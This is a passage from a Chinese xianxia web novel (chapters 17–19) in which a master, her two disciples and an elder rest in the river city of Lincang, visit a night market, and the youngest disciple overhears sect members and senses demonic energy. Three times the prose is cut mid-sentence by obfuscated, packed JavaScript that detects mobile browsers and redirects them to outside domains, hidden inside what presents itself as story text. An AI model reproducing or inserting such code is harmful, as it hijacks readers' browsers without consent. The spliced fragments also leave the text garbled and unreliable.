“嗯?还有不同的答案吗?”秦无纪本来只是随口一问,如今却听到了意料之外的答案,“那就都说说吧。” 姬忘尘点了点头,坦诚地开口:“若说教授方法,姚师舅比你更胜一筹。” “啧。”秦无纪虽然知道这是事实,但心中还是有许多不爽。曾经他们就经常为了某些琐事一较高下,彼此都不甘于人后,如今更甚。 “不过,您放心,”姬忘尘也知道师傅对姚师舅的态度,声音带上了笑意:“对于汤穗穗来说,他比您更好拿捏。” “嗯?”秦无纪瞪大了眼睛,不可置信地看向姬忘尘,又将视线放回汤穗穗身上。 “汤穗穗比你们想象中都聪明。”姬忘尘低头,重现翻看腿上的书籍。 如果汤穗穗听到了姬忘尘的评语,怕是尾巴要高高翘起,脸上一副讨要夸奖的评价。 虽然这不算是什么好评价,但对于汤穗穗来说,只要是师姐开口,一切都是好评。 对于汤穗穗聪明这点,秦无纪并不意外,现在更让她意外的是—— “——你这是,话本?”秦无纪顺着姬忘尘的视线往她腿上的书籍看去,她起初以为是什么心法秘诀,还未在意;可当她仔细看了两眼,才发现这竟然是话本。 秦无纪瞪大了眼睛看向姬忘尘,甚至有那么一刻怀疑面前的人是不是路上被掉包了。 “抱歉。”姬忘尘下意识地将腿上的书籍收起来,“噌”地站起来心虚地开口:“师傅我这就去训练。” 姬忘尘在心中埋怨自己,最近可真是太过得意忘形,竟然敢在师傅的面前堂而皇之地翻阅话本,真是态度太不端正了。 看到对方起身,秦无纪马上抓住姬忘尘的手臂,拉回她想要往外走的动作,同时在心里懊恼自己怎么哪壶不开提哪壶,破坏了方才和谐的气氛。 “师傅……”姬忘尘以为师傅拉着自己,是要训斥一番,乖乖站在原地低头等待责罚。 秦无纪也算是了解姬忘尘,她看穿了对方的想法,反思自己是不是对她太过苛刻,导致她的第一反应就是去练武。她稍用力拉着对方重新坐下,斟酌着词句:“我没有指责你的意思,你已经做得很好了,适当地放松也是应该的。” “师傅您……不训斥我?”姬忘尘眨着眼,怀疑自己是不是听错了。可是面前秦无纪的神情并不像是说假话,反而露出的笑容里有几分读不懂的情绪,有些像她曾经见过的,山下人家看到自家孩子长大时不自觉露出的喜悦。 “孩子”,姬忘尘在心里重复着这个词语,没由来地心慌,担心是自己会错了意。 她想不明白,放轻了声音追问:“为什么?” “什么为什么?”这下迷惑的人反倒成了秦无纪,她挠了挠头,想起话本的事,笑着补充道,“我只是没见过你看话本,又不是不让你看话本。……我以前对你是不是很苛刻,连看话本都让你如此不自在?” 秦无纪的声音带着几分小心翼翼,脑海中不断回想自己对她的态度,不停地质问自己。 “不是的。师傅您很好。”姬忘尘连忙摇头,她不想让师傅误解,不自觉地捏紧了自己的手,心里很是紧张,“……我只是没想到您不怪我。” “如果我有什么做的不好的,你可以直说。”秦无纪不好意思地挠了挠头,不知道现在说这些话还晚不晚,“我希望你开心。当时是这样想的,现在也是。” 姬忘尘别开脸,双手紧紧地捏在一起,艰难地压制着心中翻涌的许多难以言喻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424782|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪,一时间不知道该怎么回答。 “……哈哈,刚刚看到哪了,让我也看看?”秦无纪也有些不知所措,感觉到气氛变得僵硬,连忙开口缓和。 听到她话语的姬忘尘低着头,笨手笨脚地翻动着书页,完全没有了往日的镇定。翻了好久几次终于翻到方才的那一页,她摊在自己腿上放得更近了一些对方。 这本话本确实很有趣,秦无纪很快就被话本的内容吸引,姬忘尘却完全没了看话本的心情,她盯着对方的侧脸出神。纵使在灵气滋养的情况下,对方的脸上也爬上了岁月的沟壑。 岁月弹指一挥间,她现在也长到了对方和她初遇的年龄。 “……谢谢您。”姬忘尘轻声地开口,她很少有这样的机会去坦白自己的心。 “你孩子,怪客气的。”秦无纪不清楚她为什么突然开口这一句话,但自己还是伸手揽住她的肩膀,“客气什么,用穗穗的话来说,我们可是一家人。” 姬忘尘低头应下,心中却无声地念叨着“家人”,紧绷的肩背不自觉地放松,甜滋滋的感觉压住了心间所有情绪。 又过了两日的奔波,几人终于从山林折出,到达了山脚的一座城镇。这座城镇和之前途径的城镇不同,城镇恰好位于江河岸边,水路发达。新朝鼓励商贾贸易,由于水路发达,商船可以抵达的地方更远,相对内陆就更为繁荣。 汤穗穗坐在马上远远地看着城门外来往的人群,忍不住开口感慨:“哇!好多人!” “这座城镇恰好位于沧水南岸,因而得名‘临沧’。这些都是往来贸易的商人,在城里能看到不少舶来品呢。”姚成在这一行担当了不少介绍的工作,“走吧,正好让穗穗好好歇息一番。过了沧江,咱们就离宗门更进一步了。” “好耶!”汤穗穗永远是最积极地应和着姚成的那个,“我一定要好好地逛逛这里。” “你昨天不是喊着累吗?”想起昨晚汤穗穗在自己面前撒娇喊累的模样,秦无纪忍俊不禁。 “昨天是昨天,今天是今天!”汤穗穗理所当然地开口,仰着头拉上师姐,“师姐,你说对吧!” 姬忘尘习惯了汤穗穗突然将话题拐到自己身上,伸手揉了揉面前的脑袋,笑而不语。 当汤穗穗真的进了城,才第一次对“繁荣”这个词有了深刻的认识。来来往往是欢笑的面孔,道路两旁摆满了不同的商铺,偶尔看到的异域面孔更是让她惊喜不已。 虽然她没有发出声音,但她的眼睛代替她将那些赞叹表达出来。路上来往的行人很多,汤穗穗紧紧地抓着师姐的手臂,以免自己被人潮冲散。 等她们找到客栈的时候,秦无纪怜惜汤穗穗一路的辛苦,花大手笔给几人开了几间顶级的房间,据说都是配置最好的。 汤穗穗扑在柔软的床铺上,身下的床褥像云一样托着她的身体,让她浑身紧绷的肌肉得到放松。以往她都不觉得自己是对居住条件很挑剔的人,但此时不得不承认,拥有好的居住条件也太舒服了。 而她只在上面躺了一会,就感觉自己的眼皮越来越重,思绪也慢慢游离。 那就小憩一会吧,只一小会,一小会会…… 汤穗穗在思维完全模糊之前这样暗示自己,却完全没有生效。她们是午后抵达的临沧城,当她醒来的时候,已经是夕阳西下。 17. 夜市 汤穗穗伸个懒腰醒了神后,肚子不满地打着鼓,乾坤袋里垫肚子的零食早已吃完。她没辙,只好揉着肚子拉开房门,正好看到准备敲门的秦无纪。 “睡醒啦?是不是饿了?”秦无纪端着托盘开口,视线停留在她睡得乱糟糟的头发,不免失笑,“我还怕一会敲门吵醒你,没想到你先醒了。” “谢谢师傅!”汤穗穗接过托盘,放到了房间里的木桌上,没有丝毫拘谨就吃了起来。 “慢点吃。”秦无纪跟着她走进了房间里,看到她狼吞虎咽的样子忍不住提醒。她坐在穗穗旁边,讲起了接下来的安排:“我们会在临沧城待几天,你呢,白天就跟姚成继续练心法,有空也可以自己在城里逛逛。” “嗯?”汤穗穗含着使整个腮帮子的菜,抬头看向秦无纪,一时连咀嚼都忘了。 “你放心吧,不会耽误时间的,这里离宗门已经很近了。这段时间你也辛苦了,既然还有空暇时间,也让你好好放松放松。” “好耶!”汤穗穗囫囵将嘴里的食物咽下,发出欢呼声。从踏入临沧城开始,她就按耐不住自己的好奇心,再加上现在睡饱了,更是恨不得能马上出去游览一番。 不过现在是晚上,过去居住过的村镇晚上都十分寂静,或许得等到白天才能将一切看个够。 秦无纪也知道汤穗穗的小心思,接着说:“等会你吃完,一会我们去逛逛夜市。” “夜市!”汤穗穗听到能出去,眼睛更是亮了不少,直接将还没吃完的食物一个劲塞进口中,含糊着说,“……我吃好了……我们快去吧……” 秦无纪伸手弹了对方的额头,板着脸,皱眉不满地开口:“说了多少次,吃饭要细嚼慢咽,你这孩子怎么吃那么快,当心被呛到……” “我知道啦我知道啦,”汤穗穗眯眼笑着,乖乖听训,一副“知道错了,下次还干”的样子。但她还是将嘴里的食物小口小口地咀嚼之后咽下去,眼睛亮晶晶地看着秦无纪,等待对方下一步行动。 “好了好了,你收拾一下,我们一会在楼下等你。”秦无纪无奈地叹了口气,她也知道汤穗穗的性子,也就不继续勉强。 汤穗穗赶紧将自己乱糟糟的头发梳好,换了身干净的衣服,迫不及待地跑到客栈楼下时,其余三人已经坐在大堂里的木桌等待着她。 “一听到能去逛夜市,动作就这么快?”姚成对汤穗穗的这幅性子已经司空见惯,但每次都还是会打趣她,“你要是能在心法修炼上,也放一半的心我就知足了。” “师舅——”汤穗穗拉长了音,“咱们就别说这些扫兴的话嘛——” “好好好,不说了,走吧。”既然人到齐了,姚成也起身招呼着其余两人动身。 不得不说,临沧城不愧是繁华的都市,即使是夜市都别具一番风味。街市灯火亮如白昼,行人熙熙攘攘,脸上皆露出喜悦的笑容。汤穗穗这里看看,那里瞧瞧,对一切抱着极大的兴趣。 不仅是她,秦无纪也觉得新奇,忍不住左顾右盼。 她上一次来临沧城,还是二十年前,与现在截然不同。那时还是前朝,即使是在白天,街道也透露着萧瑟之感。 “师妹去看看吧,这临沧城最近变化可大了。”姚成知道师妹的性子,若不是他经常去城镇闲逛,也不知道此处会有如此大的变化。 不止是这里。 他这些年还去过不少城镇,也是这般百废俱兴。光行走在街道上,都能感受到那股勃勃生机。 秦无纪没等姚成说完,就兴奋地拉着汤穗穗走远了。而站在他身边的姬忘尘还是一副寻常表情,看不出情绪;但视线有些游离,眼神也不如往常锐利。 姚成选择在临沧城落脚,本来就是存了让几人好好放松的心思,见到姬忘尘如此模样,还以为她只有些拘谨:“忘尘你呢,不去逛逛吗?” “不用了。”姬忘尘回神摇摇头,拒绝了这个提议。 “是因为当年的遭遇,所以你不喜欢这里?”姚成心中隐隐有猜测,试探性地开口,“其实都过去了,别让那些经历束缚自己。” 姬忘尘正是在临沧城被秦无纪发现的,恰好就是二十年前,那时也就六七岁的年纪。 当时秦无纪检验到临沧城有魔物侵袭,四周一片寂静。她以为是无人之处,就放松警惕,不做掩饰地将魔种净化。然而这一切均被姬忘尘看在眼里,她从藏身的角落爬了出来叫住秦无纪。 秦无纪以为她是孤儿,检测出她超凡的天赋,也就将她带到了山上,认作自己的门徒。 “……我明白。”姬忘尘知道对方的好意,只是还有些事情不便言说,她也以为自己能够将往事放下。但当故地重游的时候,委屈和不甘又填满了心脏,甚至想要控制她的理智。她捏紧拳头才没有任由情绪外露,勉强维持平静的样子。 “那我们就随意走走吧,这么好的景色,光是看看也值了。”姚成放轻了声音,拍了拍她的肩膀,若无其事地开口。他理解对方心中还藏着事,也没必要对自己全盘托出。作为旁观者,他什么都做不了;作为长辈,他能做到的,也只是说几句不痛不痒的话,还不如在对方需要的时候陪在身边,避免陷入情绪的漩涡。 即使姬忘尘不是健谈的性子,姚成还是一路上介绍着周围的布置。路过一家酒肆时,他介绍中想到了什么,下意识笑着调侃:“……其中这‘清风送’最是难得,以往老白爱喝这一味,每次来临沧都会带上一坛。后来战乱——” “……酒肆关了门,他也就买不到了。”当他意识到自己脱口而出的名字时,声音减弱,脸色有些不自在。 走不出往事的,又何止姬忘尘。 其实师弟知道他还藏着一坛子“清风送”,多次暗示过他。但他每次都佯装没听懂,岔开了话题……再后来,那坛酒再也没动过。 不过很快,他稳定住情绪,摆了摆手、强颜欢笑:“……不说了,都过去了。我们接着走吧。” 等四人逛腻后,就回到了客栈歇息。 第二天,汤穗穗如约来到姚成的房间训练心法,不过她的歪心思蠢蠢欲动,不时地看向面前的人。趁着休息的间隙,她盘腿坐在地上,一边发出惊喜的感叹,一边睁眼看向姚成:“姚师舅,我今天的练习真的很有效果哎!” 姚成点点头,他也对汤穗穗的进步看在眼里。“虽然你的联系颇有成效,但还是需要一定的巩固,所以我们再……” “所以我们现在需要适当的放松一下!”汤穗穗大着胆子打断了姚成的话,眨巴着眼睛,“我知道您的意思,但我不能总依靠着您呀!” “嗯?”姚成还没从汤穗穗的话语中反应过来,在以前的教导中,从来没有门徒敢主动打断进程,一般都是自己腻了才让他们下去巩固练习。 “嗯嗯,”汤穗穗眨巴着眼睛,信誓旦旦地开口,“所以我需要一点时间去融会贯通。” 姚成觉得汤穗穗所说的内容有道理,但是还是觉得怪怪的,又不知道是哪里奇怪。他本来以为汤穗穗会提出什么困惑,又或者是对自己的教导方式还有什么异议。 没想到汤穗穗直接从地上跳起来,从窗户看向坐在楼下院中认真看书的姬忘尘:“我决定跟师姐再去练练。” 还没等姚成开口,她已经跑了出去,只来得及看到她的背影。姚成看着她的已经消失的身影,无奈地摇摇头,他这才知道自己揽了个什么烫手山芋。 汤穗穗有时候太会撒娇了,长得又可爱,甜言蜜语更是像不要钱一样往外冒,哄得他不知天南地北。以往周围都是闷嘴葫芦的姚成哪里感受过这般攻势,自然而然就跟着对方的思维转了 姚成真的觉得是自己错怪秦无纪了,面对汤穗穗这样乖巧听话又贴心的小女孩,真的很难硬下心肠说什么重话。 他看着汤穗穗蹦蹦跳跳地跑到姬忘尘的面前,不知道说些什么。被打断的姬忘尘往上抬头,正好和姚成对视。姚成指了指活泼的小脑袋,脸上露出无奈地神情,姬忘尘点了点头收回了视线,专心听对方说话。 看到沉稳的姬忘尘和活泼的汤穗穗在一起,姚成不免有些感慨。 不过小姑娘现在的进步也十分明显,适当地放松也不是问题。难得还是个孩子的模样,就让她自由生长吧——别又教成山里的那些木头。 楼下的汤穗穗正兴奋地跟师姐聊自己的感受,姬忘尘看着她眉飞色舞的样子,心中只觉得好笑,只在一旁听着她说,不时发出几声以作回应。 “师姐!”汤穗穗讲得口干舌燥,视线忍不住下移,看到放在石桌上的书籍,正是姬忘尘方才翻看的那一本,不免好奇地探头过去,开口问道:“师姐你在看话本吗?是不是很好看!” “这本不错。”姬忘尘将书籍往汤穗穗方向挪了挪。 她接过姬忘尘的书籍翻看起来,虽然她给师姐推荐的那一本都看过了一遍,但她看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424783|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,脑海中已经没什么印象了。 更何况,她非常想知道是什么样的话本才能入得到师姐的法眼。在她的认知里,师姐除了心法、武功以外,别的丝毫不感兴趣。有时候还会怀疑师姐真实身份,会不会就是她手上的那柄神奇的环刃所生的器灵。 这本话本并不高深,简单翻看几页就能将大致的故事脉络整理清楚。汤穗穗看了几行便有了写印象,这是一本堪称天马行空的小说,主角意外地进入了神奇的世界,有的昼夜颠倒,有的误入小人国等等奇妙经历。 这种罕见的小说设定,让汤穗穗印象稍微有些深刻。不得不承认,它确实有吸引人的本事,遗憾的是作者似乎撑不起这样独特的世界观,导致后续情节的描写有些乏力,即使再新鲜的设定也没那么吸引人了。 汤穗穗兴致缺缺地将书籍推回桌上,双手拖着头撑在石桌上,眨着眼看向师姐:“师姐觉得很好看吗?” “很有意思不是吗?”姬忘尘视线撇过纸张上的黑字,伸手在纸上摩挲,淡淡开口,“就像不起眼的野花,但当被看到的时候就知道春天又来了。” “……师姐这不像你说的话。”汤穗穗觉得今天的师姐很奇怪,平时沉默寡言的她才不会说出这种文绉绉的话语。 “嗯,这是书里的原文。”姬忘尘似乎知道汤穗穗的想法,忍俊不禁。随意往前翻了几页,重新推到汤穗穗的面前。她顺便问起汤穗穗的来意:“来找我有什么事?” 汤穗穗的视线先落在师姐玉白的手指上,下移看到方才师姐所说的那句话,确实是书里的原文。但她还是忍不住在心里嘀咕“写这句话的人也不咋样”,脸上正色点点头回答师姐的问题:“哦哦,师姐,我们今天不除魔吗?” 虽然师傅说过这几天都会待在临沧城,但汤穗穗一想起自己要闷在房间里背乏味的心法,她就忍不住想跟师姐跑到外面去除魔。每当她挥动自己的木剑时,她都觉得可以除尽一切魑魅魍魉,比背心法带来的成就感大多了。 越是这样想,她就越是坐不住,抬头紧紧地盯着姬忘尘,想要一个肯定的回复。 可惜师姐依旧没有给出她想要的答案。 “最近不需要,附近还算太平。”姬忘尘拿出指路罗盘,放在桌上,抬了抬下巴示意让汤穗穗看过去。 汤穗穗夸张地叹了口气,低头看着姬忘尘桌上的那本小说,即使从她这个方向看过去是反过来的字体。 姬忘尘看出汤穗穗迫不及待要去除魔的心情,即使她并不是很理解汤穗穗的兴奋。她想起最近对方的状态 ,还是开口提醒:“心法巩固了吗?” “巩固了巩固了,我真的有在好好练习呢!”汤穗穗没有听出师姐的言外之意,依旧按照往常敷衍两位长辈的那套说辞,挪到师姐身旁的椅子上抱着师姐的手臂撒娇:“那我们能不能到城外再去看看,说不定有漏网之鱼呢?” 姬忘尘意味深长地看着她没有搭话,反而开口念出了心法的其中一句,挑了挑眉盯着她。后者感觉到她眼神中的压迫感,撇开了目光,但还是将头靠在对方的手臂上,拉长了音撒娇:“师姐——” “接。”姬忘尘的声音依旧清冷,不带任何的情绪,却比两位长辈严厉时更吓人。 汤穗穗后背发凉,脑中飞快地思考着,却始终一片空白。她分明记得,方才才从姚师舅口中听到过,但此刻却没有丝毫印象。她紧张地咽了咽口水,甚至没发现自己心跳加快,呼吸下意识加重,连抱住师姐手臂的力度也增大了一些。 但不管她怎么努力回想,下半句还是没能从脑海中蹦出来。 热意爬上汤穗穗的面庞,她不自觉地松开抱着师姐的手,收到腿上不安地揪着自己的衣服,低头缩着脖子不敢抬头看师姐,支支吾吾地开口:“我、我……忘记了……” 汤穗穗下意识闭着眼,等待来自师姐的宣判。本来以为迎接她的会是师姐的斥责,没想到她只听到师姐轻描淡写的一个“嗯”。 “嗯?”汤穗穗不可置信地抬头,只看到师姐又在翻看她手中的那本奇幻小说。对方意识到自己的视线停留了太久,头也不抬地开口:“看我做什么?该做什么还要我提醒吗?” 师姐的语气一如既往,但汤穗穗觉得此时的师姐比训斥人的师傅还可怕,吓得从椅子上跳起来,一边往外走一边连连摆手:“不用不用!我不就打扰师姐了!” 话音刚落,她就一溜烟跑没影了。 18.乾坤宗? 汤穗穗抛下一句话就急急忙忙地跑到客栈的厅堂,厅堂里并没有很多客人,路过的店小二热情地跟她打了招呼。她心中思绪杂乱,敷衍地扯出一个笑容作为回应。 她的心跳如擂鼓,久久不能平静,下意识从怀里掏出师姐曾经给她的玉牌,玉牌已经被她的体温捂热,她也不知道自己为什么突然想掏出来。 这块玉牌师姐一直没拿回去,汤穗穗就自顾自地当做是师姐的礼物珍藏起来。 其实方才的随机抽问两位长辈也曾这样考验过她,她背不出来的时候会佯装听话来蒙混过关。可面对师姐时,她脑子里的那些小心思都不敢动,更不敢搪塞长辈们的这一套去应付师姐。明明师姐没有开口说出什么斥责的话语,若无其事的态度比话语更让她感到如芒在背。她宁愿师姐骂自己一顿,也不想看到她现在轻描淡写的回应。 汤穗穗低头看着掌心的玉牌许久,最后还是收回了怀里。她站在客栈的门口,低头踢了踢地上的石子,烦闷的情绪堵在心头,脑子更像塞了一团乱麻。 正当她苦恼着的时候,街边的叫卖声吸引了她的注意。她顺着叫卖声抬头,白日的街市依旧热闹繁荣,来来往往的行人脸色红润,满面笑容。 汤穗穗还不知道怎么回去面对师姐,眼前的热闹又牢牢抓住了她的视线,索性搁下心中的烦闷去逛逛白日的街市。 临沧城是一座有许多小河贯穿的城镇,汤穗穗提着裙摆跳过一座座小桥,走过一条又一条街,只觉得一切新奇极了。走着走着,她突然发现前面客栈前站了十来个有说有笑的人,手腕扎着黑色的护腕,一身利落干净的打扮。 但最让汤穗穗驻足的,是她感受到这群人身上所笼罩着的浓郁灵气。也因此,她心里浮起了巨大的疑问。 他们是谁?为什么身上也会有师姐她们类似的浓郁灵气? 她眼睛一转,默不作声地装成路人,悠哉悠哉地走到对面的摊铺前,蹲下//身装作挑选的模样。视线虽然停留在摊上的货物,但她整幅心思都放在身后那群人身上,甚至调用灵气倾听他们的说话内容。 得益于最近的心法训练有所长进,她的听觉可以在灵气的加成下听到更远、更细微的声音。因此,即使相隔着嘈杂的人群,汤穗穗依旧能将身后几人轻声的交谈听得一清二楚。 一行人并没有察觉到汤穗穗这边的动作,谈论的不过是一些寻常琐事,其中一人语气颇为感慨:“咱们这下能赶上宗门大比了吧!我还以为要错过这一次的机会。” “那不会,跟着墨师兄你就放心吧,墨师兄的时间控制本事那可是一绝!”另一人笑着拍了拍对方的手臂,笑着调侃,“不过这应当是你第一次参加吧?的确赶上了就是好事!” “嘿嘿……”前一人似乎挠了挠自己的脑袋,发出轻微的摩擦声,语气间有些不好意思,“是啊,上回举办的时候我年岁尚小,只能在一旁观赏诸位师长在比赛中矫健的身姿了……” “哪里哪里,论出色还得是那几位——”后一人有些谦逊,听到他们的对话,又出现了第三个声音:“黄师兄,你是说那位横空出现的师姐吗?她究竟是什么身份?” “廖师兄,你当时也没参加吗?” “那会突然接到突发的任务,等我们处理完的时候,大比已经进入第二阶段了。所以我也就只能看着诸位比赛的身影了。”说话的第一人很意外第三人没有参赛的事实,被称为“廖师兄”的第三人也如实地解释了当时面临的状况。 被称作“黄师兄”的人似乎是唯一一个参加了上一回宗门大比的人,比另外两人都要更熟悉当时的情况和更多信息。只不过当廖师兄问起那位突然出现的人物,他也知之甚少:“那人的身份我也不太清楚……好像是一直跟着外出的……那次前来也是……” 说到后面对方的声音减弱,汤穗穗即使用了灵气也只是听得断断续续。 “居然是她?”两人异口同声惊呼,旁听的汤穗穗却对这个身份更为好奇,究竟是什么样的身份才会让两人都十分意外。 “啊……听说是……不过宗主仍念着这份情谊,也就让她的身份一直挂在宗门名下。”黄师兄将自己的所知全盘托出,停顿思考了片刻,“不过更具体的,或许只有长老他们更为清楚。” 但这位黄师兄十分谨慎,说到关键的地方还会刻意压低音量,免得被旁人听去。 忽而又有一人插入话来:“哎,我可听说,那位神秘的女子可不简单,身上可是有着——” 汤穗穗所选的摊铺主人原本在货物架后面忙活着,余光瞥到有顾客到来,一边放下手中的东西往前一边喜不自禁地吆喝起来:“姑娘可是看上什么了?随意挑选……” 对方的突然开口将后面聊天声掩盖得透彻,也拉回了汤穗穗的思绪。可现在她心心念念在身后几人的聊天中,只得抬头扯了个明媚的笑容,伸手随意地指着面前的字画,对摊主敷衍两句:“店家,这画上的是何物?” “姑娘真是好眼力,此画名为‘喜上花梢’,盛放的山桃争奇斗艳,象征花开富贵;而左下枝头上的喜鹊更是活灵活现,寓意招财纳福、吉祥如意。姑娘你看……” 原本想好好介绍一番的摊主,发现面前心不在焉的姑娘渐渐止了声,疑惑的视线顺着她不时往后飘的眼神,望向身后那群衣着齐整的人,心下了然。 摊主年少时走南闯北,与他们有过些许交集。虽然人不是当年的人,但身上超凡的气质错不了。 汤穗穗不知道摊主怎么看待自己的,当她凝神去听身后几人交流的时候,他们跳到了下一个话题,聊得不过是相处间的琐事。 但汤穗穗现在的修为还只是筑基,能调用的灵气特别有限。只这么窃听的片刻,就已经将体内的灵气耗尽。她不甘地撇了撇嘴,忍不住埋怨自己的修为进展太慢了,要是能一日突破就更好了。 比起这个,汤穗穗忍不住对他们口中所说的“宗门大比”感到好奇,毕竟前不久她才从姚师舅口中也听说了这个词,难道这些宗门的试炼都爱安排在差不多的时间吗? 又或者说,她们其实就是同一个宗门呢? 那他们口中的神秘师姐究竟是不是姬忘尘师姐呢? 还有最后插入话题的那个人,没被她没听到的后半句究竟是什么? 汤穗穗想起师傅曾经提过的传言,师姐身上的那道传言又会是什么? “姑娘?”摊主面前的姑娘站在原地想东西想得出神,含笑唤回了她的思绪,“姑娘回回神,人已经走远啦。” “在!”汤穗穗猛然回神,完全没听到对方的话,只看到摊子上摆放的书画,想起自己找的借口,没好意思就这样离开,眼神飘忽地开口:“这些书画画得都挺好的,我很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427366|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感兴趣!” 一边说着一边点头,强调自己话语的真实性。 “姑娘怕是对乾坤宗感兴趣吧?”摊主笑着开口点破了她的心思,抬下巴指了指方才身后的位置,打趣道:“您若是只是为了乾坤宗而来,这几幅丑陋的字画怕是入不了您的眼。” 摊主是一位鬓发已有些斑白的中年男子,脸上的笑容不减,一副和蔼可亲的面貌。字画旁还堆放了几本书籍,另一旁的竹篓里还摆放着一些糕点。 “没有没有,”汤穗穗臊红了脸,瞥见竹篓里的糕点眼睛一亮,顺势开口,“您给我来几件糕点吧!” 摊主应了声,转身给汤穗穗打包糕点。他的动作利索,拿起几张荷叶纸,将竹篓的糕点取了几件,打包起来,再用特质的藤枝缠住,不让荷叶散开。 汤穗穗说完又想起摊主方才的话语,她敏锐地听出了摊主好像对那些人很是熟悉。她本身就对那一行人十分好奇,当下更是按耐不住发问,“听您的口气,您认识他们,或是有所了解?” “若姑娘打定主意要入乾坤宗门,怕是要失望了。”他的动作不停,同时开口回答道,“这乾坤宗很是神秘,年轻一辈多是当话本杜撰的。城里也曾有人想去拜访,可惜过了沧江后,根本找不到宗门的具体位置,也只能无功而返。” “那您……” “曾经我也只当是话本杜撰,”摊主左顾右盼,压低了声音开口,话语中的庆幸不似假装,“……但我年少时性子野,闯荡时误入了魔物地盘,还多亏了乾坤宗道长们将我救出。” “我曾经识得一位邓姓长兄,他有个女儿,早些年进了乾坤宗,再也没有下山过。他曾也在次数经营过摊铺,或许像这样远远看上一眼,就是他们最近的距离了。可惜,活了七十有余,无病无痛,也算喜丧吧——我猜想,这当是他的女儿庇护着。……”摊主又讲了些志异故事,汤穗穗说越听越奇怪,忍不住皱起眉头,刚要开口质问,摊主便开口了。 他话锋一转,脸上笑呵呵地,将手里打包好的糕点递给汤穗穗:“我也算是个半吊子书生,平生好写故事。方才所说,姑娘就当做故事,随意一听便好。至于内容真假,我可不保证。” 汤穗穗听得出来,对方还想着打消自己的想法,尤其是将后来讲的志怪故事混在一起,她更不知道对方哪句真哪句假,甚至怀疑起一开始话语的真实性。 她无奈地接过糕点,刚准备起身离开。她视线落到面前的字画上,发现所绘制的花绘如此眼熟,恰是当时山上庭院旁的大树上盛放的花朵。她又惊又喜,指着花朵看向摊主:“哎,这花……” “此花正是桃花,姑娘来得晚,误了花期。待来年正月到二月,这城中开遍桃花,甚是好看;再晚些三四月时,城中桃花落尽,还能上山看山桃。可惜如今快六月,姑娘若是想看也只能看莲花了。”摊主顺势再次介绍起那副“喜上花梢”,这回汤穗穗可算听进去了。 面前的桃花确实将盛放时的神韵画得仔细,然而她没有收藏字画的习惯,不然高低得把这幅画买回去。 摊主看出汤穗穗对字画的兴致不高,随即推销起一旁的书籍:“姑娘若是对话本感兴趣,不如也翻看翻看?” 汤穗穗的视线又落到字画旁的书籍,想起师姐喜欢话本,顺手拿起话本翻看起来,心里忍不住盘算着,或许自己可以买话本赔罪? 19.变故 最后,汤穗穗还是挑了两本话本。方才,她粗略翻看过话本,感觉故事的设定很是清奇,心里也有些蠢蠢欲动。 买到了有趣的话本,她心情也轻松不少,拎着糕点告别了摊主,她也准备打道回府。 可是一想到回去就要面对师姐,她心中又萌生了退意,只想在外面呆的时间更长一些。 走着走着,不知不觉就走到了码头边。现在算时间应当是快到晌午,码头上依旧十分热闹,与街市相比又是另一种感觉。许多船只停泊在江岸边,汤穗穗甚至还看到了乘水路远道而来的胡商,让她惊喜得瞪大了眼睛。 但最吸引她的,还是那辽阔的江面。她忍不住走近江边,江面开阔一望无边,阳光照得江面波光粼粼,对岸的商船若隐若现。江上有风轻拂而来,她忍不住眯着眼仰头感受这股清风从自己的身上轻拂。感受这样的光景,她感觉到自己的心情被抚慰了下来,之前躁动的心也得以平静。 这还是她第一次看到如此宽阔的江河,在她的家乡只有蜿蜒的溪流。她闭上眼感受江风轻抚她的脸颊,在心中居然萌生起在这里背诵心法口诀的念头——要知道,背诵心法可是她近来最讨厌做的事情了。 汤穗穗还是没忍住,靠着角落的树干闭目默念心法,下意识地调动着灵气的吸收。 不知为何,她感觉到这里的灵气十分浓郁,浓郁得有些不正常的感觉,就像是倒满了水的碗,随时在溢出的边缘。 她放空自己的思绪,将全部心思凝聚在灵气上,试图像以往那样汇聚到自己的身体里。突然她感受到灵气中夹杂着微不可查的暗紫色魔气。她猛地睁开眼,警惕地打量着四周,但周围一切正常。 汤穗穗有些懊恼,明明姚师舅教授过关于魔气的心法口诀,但她什么都没记住。她有些后悔,自己怎么就没有好好背诵心法,这样说不定就不需要找到师傅他们了。 汤穗穗马上转身往客栈的方向跑去,不管是不是她的错觉,她都要马上回去通知师姐和两位长辈才是。 如果仅仅是自己的错觉,那她顶多挨长辈们几句斥责。但如果她的感受是真的,要是早些发现端倪,那就能早些将其根除。这是两位长辈一直在强调的,也是她这一路上的感悟。 如果魔种在凝结的阶段被拔除,无论是对宿主还是从净化流程来说,都是更为轻松的。 